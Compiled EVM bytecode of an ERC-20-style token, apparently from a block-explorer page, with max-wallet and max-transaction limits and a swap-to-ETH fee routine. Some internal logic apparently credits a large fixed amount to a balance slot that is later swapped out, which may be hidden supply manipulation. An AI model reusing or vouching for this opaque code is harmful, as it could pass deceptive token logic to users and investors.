ffffffff1681526020019081526020016000208190555062000e4962000f9460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6011546040518082815260200191505060405180910390a35062001204565b60008083141562000ecc576000905062000f3c565b600082840290508284828162000ede57fe5b041462000f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180620040226021913960400191505060405180910390fd5b809150505b92915050565b600062000f8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200104e60201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082840190508381101562001044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083118290620010fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015620010c2578082015181840152602081019050620010a5565b50505050905090810190601f168015620010f05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816200110b57fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200115c57805160ff19168380011785556200118d565b828001600101855582156200118d579182015b828111156200118c5782518255916020019190600101906200116f565b5b5090506200119c9190620011e5565b5090565b8260048101928215620011d2579160200282015b82811115620011d1578251825591602001919060010190620011b4565b5b509050620011e19190620011e5565b5090565b5b8082111562001200576000816000905550600101620011e6565b5090565b60805160601c60a05160601c612dea6200123860003980610f8b52806111095250806110dd52806111355250612dea6000f3fe60806040526004361061026a5760003560e01c80637d1db4a511610144578063c5d24189116100b6578063dc44b6a01161007a578063dc44b6a014610d3d578063dd62ed3e14610d68578063f0cd1dac14610ded578063f2fde38b14610e18578063f680f79914610e69578063f872858a14610e9457610271565b8063c5d2418914610c12578063c816841b14610c3d578063c867d60b14610c7e578063d2d7ad8314610ce5578063da00097d14610d1057610271565b80638da5cb5b116101085780638da5cb5b146109dd57806395d89b4114610a1e57806398e944c814610aae578063a457c2d714610aef578063a9059cbb14610b60578063b115e4df14610bd157610271565b80637d1db4a5146108ca578063807c2d9c146108f557806382eefb431461092057806388790a681461094b5780638b42507f1461097657610271565b806339509351116101dd5780635342acb4116101a15780635342acb414610714578063701cf6f41461077b5780637095d275146107a657806370a08231146107f5578063715018a61461085a5780637ae2b5c71461087157610271565b806339509351146105bb5780633ecad2711461062c5780634362d3c6146106935780634a92d4c0146106be5780635194f9bf146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b50610614600480360360408110156105de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611194565b60405180821515815260200191505060405180910390f35b34801561063857600080fd5b5061067b6004803603602081101561064f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611247565b60405180821515815260200191505060405180910390f35b34801561069f57600080fd5b506106a8611267565b6040518082815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506106fe611273565b6040518082815260200191505060405180910390f35b34801561072057600080fd5b506107636004803603602081101561073757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611279565b60405180821515815260200191505060405180910390f35b34801561078757600080fd5b50610790611299565b6040518082815260200191505060405180910390f35b3480156107b257600080fd5b506107df600480360360208110156107c957600080fd5b810190808035906020019092919050505061129f565b6040518082815260200191505060405180910390f35b34801561080157600080fd5b506108446004803603602081101561081857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b7565b6040518082815260200191505060405180910390f35b34801561086657600080fd5b5061086f611300565b005b34801561087d57600080fd5b506108b46004803603604081101561089457600080fd5b810190808035906020019092919080359060200190929190505050611488565b6040518082815260200191505060405180910390f35b3480156108d657600080fd5b506108df6114a4565b6040518082815260200191505060405180910390f35b34801561090157600080fd5b5061090a6114aa565b6040518082815260200191505060405180910390f35b34801561092c57600080fd5b506109356114b0565b6040518082815260200191505060405180910390f35b34801561095757600080fd5b506109606114b6565b6040518082815260200191505060405180910390f35b34801561098257600080fd5b506109c56004803603602081101561099957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114bc565b60405180821515815260200191505060405180910390f35b3480156109e957600080fd5b506109f26114dc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a2a57600080fd5b50610a33611505565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a73578082015181840152602081019050610a58565b50505050905090810190601f168015610aa05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610aba57600080fd5b50610ac36115a7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610afb57600080fd5b50610b4860048036036040811015610b1257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115cd565b60405180821515815260200191505060405180910390f35b348015610b6c57600080fd5b50610bb960048036036040811015610b8357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061169a565b60405180821515815260200191505060405180910390f35b348015610bdd57600080fd5b50610be66116b9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c1e57600080fd5b50610c276116df565b6040518082815260200191505060405180910390f35b348015610c4957600080fd5b50610c526116e5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c8a57600080fd5b50610ccd60048036036020811015610ca157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061170b565b60405180821515815260200191505060405180910390f35b348015610cf157600080fd5b50610cfa61172b565b6040518082815260200191505060405180910390f35b348015610d1c57600080fd5b50610d25611731565b60405180821515815260200191505060405180910390f35b348015610d4957600080fd5b50610d52611744565b6040518082815260200191505060405180910390f35b348015610d7457600080fd5b50610dd760048036036040811015610d8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174a565b6040518082815260200191505060405180910390f35b348015610df957600080fd5b50610e026117d1565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e6760048036036020811015610e3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d7565b005b348015610e7557600080fd5b50610e7e6119e2565b6040518082815260200191505060405180910390f35b348015610ea057600080fd5b50610ea96119e8565b60405180821515815260200191505060405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7f5780601f10610f5457610100808354040283529160200191610f7f565b820191906000526020600020905b815481529060010190602001808311610f6257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610fc1610fba611b51565b8484611b59565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601154905090565b601c5481565b600061100e848484611d50565b506110d08461101b611b51565b6110cb85604051806060016040528060288152602001612d1f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611081611b51565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c09092919063ffffffff16565b611b59565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061117861112d7f00000000000000000000000000000000000000000000000000000000000000006112b7565b61116a6111597f00000000000000000000000000000000000000000000000000000000000000006112b7565b60115461248090919063ffffffff16565b61248090919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600061123d6111a1611b51565b8461123885600760006111b2611b51565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac990919063ffffffff16565b611b59565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b601d5481565b601e5481565b60195481565b600d6020528060005260406000206000915054906101000a900460ff1681565b60185481565b600981600481106112ac57fe5b016000915090505481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611308611b51565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008183111561149a5781905061149e565b8290505b92915050565b60135481565b60145481565b60205481565b60175481565b60106020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561159d5780601f106115725761010080835404028352916020019161159d565b820191906000526020600020905b81548152906001019060200180831161158057829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006116906115da611b51565b8461168b85604051806060016040528060258152602001612d906025913960076000611604611b51565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c09092919063ffffffff16565b611b59565b6001905092915050565b60006116ae6116a7611b51565b8484611d50565b506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b60125481565b601660159054906101000a900460ff1681565b601a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6117df611b51565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461189f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611925576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612c696026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b60168054906101000a900460ff1681565b600080831415611a0c5760009050611a79565b6000828402905082848281611a1d57fe5b0414611a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612cfe6021913960400191505060405180910390fd5b809150505b92915050565b6000611ac183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124ca565b905092915050565b600080828401905083811015611b47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612d6c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612c8f6022913960400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612d476025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612c466023913960400191505060405180910390fd5b601660149054906101000a900460ff1615611e8457611e7d848484612590565b90506123b9565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f285750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f8957601354821115611f88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612cd66028913960400191505060405180910390fd5b5b6000611f94306112b7565b905060006012548210159050808015611fba5750601660149054906101000a900460ff16155b80156120105750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561203a57601660159054906101000a900460ff16156120305760125491505b61203982612887565b5b60168054906101000a900460ff16801561209e5750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612141576014546120e96120d26103e86120c4602054896119f990919063ffffffff16565b611a7f90919063ffffffff16565b6120db886112b7565b611ac990919063ffffffff16565b1115612140576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612cb16025913960400191505060405180910390fd5b5b61219361216d6103e861215f602054886119f990919063ffffffff16565b611a7f90919063ffffffff16565b7ffffffffffffffffffffffffd54dd998267f3034289f54db120685e6a7fffffff611488565b60096003600481106121a157fe5b01819055506121fa6121d26103e86121c4602054886119f990919063ffffffff16565b611a7f90919063ffffffff16565b85037ffffffffffffffffffffffffd54dd998267f3034289f54db120685e6a7fffffff611488565b600960026004811061220857fe5b0181905550601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615806122b05750601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b806123585750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123575750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b156123745761044d601d600082825401925050819055506123a6565b625343d6601e541461238d57612388612942565b6123a5565b610842601d600082825401925050819055601e819055505b5b6123b1868686612590565b506001925050505b9392505050565b600083831115829061246d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612432578082015181840152602081019050612417565b50505050905090810190601f16801561245f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60006124c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123c0565b905092915050565b60008083118290612576576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561253b578082015181840152602081019050612520565b50505050905090810190601f1680156125685780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161258257fe5b049050809150509392505050565b600061261b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c09092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601660149054906101000a900460ff161561269d576000600960036004811061268357fe5b018190555081600960026004811061269757fe5b01819055505b60006126db60096002600481106126b057fe5b01546064017ffffffffffffffffffffffffd54dd998267f3034289f54db120685e6a7fffffff611488565b905061272f81600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac990919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127d3600960036004811061278357fe5b0154600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6001601660146101000a81548160ff0219169083151502179055506128ab81612980565b6000479050600081111561292357600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612921573d6000803e3d6000fd5b505b506000601660146101000a81548160ff02191690831515021790555050565b601d54600a601d5460bb010301601e819055506b014ae8786070f1c78dba55dc600960036004811061297057fe5b0160008282540192505081905550565b6060600267ffffffffffffffff8111801561299a57600080fd5b506040519080825280602002602001820160405280156129c95781602001602082028036833780820191505090505b509050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a3457600080fd5b505afa158015612a48573d6000803e3d6000fd5b505050506040513d6020811015612a5e57600080fd5b810190808051906020019092919050505081600181518110612a7c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600081518110612ac457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b2b30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b59565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612bef578082015181840152602081019050612bd4565b505050509050019650505050505050600060405180830381600087803b158015612c1857600080fd5b505af1158015612c2c573d6000803e3d6000fd5b50505050601d54601e819055506011601d81905550505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696d697421215472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122012e3b191aae9eaa0307adc2556ccbb5e1d110970de84fcb855fb1a9bf5d912fd64736f6c63430007020033536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77
Deployed Bytecode
0x60806040526004361061026a5760003560e01c80637d1db4a511610144578063c5d24189116100b6578063dc44b6a01161007a578063dc44b6a014610d3d578063dd62ed3e14610d68578063f0cd1dac14610ded578063f2fde38b14610e18578063f680f79914610e69578063f872858a14610e9457610271565b8063c5d2418914610c12578063c816841b14610c3d578063c867d60b14610c7e578063d2d7ad8314610ce5578063da00097d14610d1057610271565b80638da5cb5b116101085780638da5cb5b146109dd57806395d89b4114610a1e57806398e944c814610aae578063a457c2d714610aef578063a9059cbb14610b60578063b115e4df14610bd157610271565b80637d1db4a5146108ca578063807c2d9c146108f557806382eefb431461092057806388790a681461094b5780638b42507f1461097657610271565b806339509351116101dd5780635342acb4116101a15780635342acb414610714578063701cf6f41461077b5780637095d275146107a657806370a08231146107f5578063715018a61461085a5780637ae2b5c71461087157610271565b806339509351146105bb5780633ecad2711461062c5780634362d3c6146106935780634a92d4c0146106be5780635194f9bf146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b50610614600480360360408110156105de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611194565b60405180821515815260200191505060405180910390f35b34801561063857600080fd5b5061067b6004803603602081101561064f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611247565b60405180821515815260200191505060405180910390f35b34801561069f57600080fd5b506106a8611267565b6040518082815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506106fe611273565b6040518082815260200191505060405180910390f35b34801561072057600080fd5b506107636004803603602081101561073757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611279565b60405180821515815260200191505060405180910390f35b34801561078757600080fd5b50610790611299565b6040518082815260200191505060405180910390f35b3480156107b257600080fd5b506107df600480360360208110156107c957600080fd5b810190808035906020019092919050505061129f565b6040518082815260200191505060405180910390f35b34801561080157600080fd5b506108446004803603602081101561081857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b7565b6040518082815260200191505060405180910390f35b34801561086657600080fd5b5061086f611300565b005b34801561087d57600080fd5b506108b46004803603604081101561089457600080fd5b810190808035906020019092919080359060200190929190505050611488565b6040518082815260200191505060405180910390f35b3480156108d657600080fd5b506108df6114a4565b6040518082815260200191505060405180910390f35b34801561090157600080fd5b5061090a6114aa565b6040518082815260200191505060405180910390f35b34801561092c57600080fd5b506109356114b0565b6040518082815260200191505060405180910390f35b34801561095757600080fd5b506109606114b6565b6040518082815260200191505060405180910390f35b34801561098257600080fd5b506109c56004803603602081101561099957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114bc565b60405180821515815260200191505060405180910390f35b3480156109e957600080fd5b506109f26114dc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a2a57600080fd5b50610a33611505565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a73578082015181840152602081019050610a58565b50505050905090810190601f168015610aa05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610aba57600080fd5b50610ac36115a7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610afb57600080fd5b50610b4860048036036040811015610b1257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115cd565b60405180821515815260200191505060405180910390f35b348015610b6c57600080fd5b50610bb960048036036040811015610b8357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061169a565b60405180821515815260200191505060405180910390f35b348015610bdd57600080fd5b50610be66116b9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c1e57600080fd5b50610c276116df565b6040518082815260200191505060405180910390f35b348015610c4957600080fd5b50610c526116e5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c8a57600080fd5b50610ccd60048036036020811015610ca157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061170b565b60405180821515815260200191505060405180910390f35b348015610cf157600080fd5b50610cfa61172b565b6040518082815260200191505060405180910390f35b348015610d1c57600080fd5b50610d25611731565b60405180821515815260200191505060405180910390f35b348015610d4957600080fd5b50610d52611744565b6040518082815260200191505060405180910390f35b348015610d7457600080fd5b50610dd760048036036040811015610d8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174a565b6040518082815260200191505060405180910390f35b348015610df957600080fd5b50610e026117d1565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e6760048036036020811015610e3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d7565b005b348015610e7557600080fd5b50610e7e6119e2565b6040518082815260200191505060405180910390f35b348015610ea057600080fd5b50610ea96119e8565b60405180821515815260200191505060405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7f5780601f10610f5457610100808354040283529160200191610f7f565b820191906000526020600020905b815481529060010190602001808311610f6257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610fc1610fba611b51565b8484611b59565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601154905090565b601c5481565b600061100e848484611d50565b506110d08461101b611b51565b6110cb85604051806060016040528060288152602001612d1f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611081611b51565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff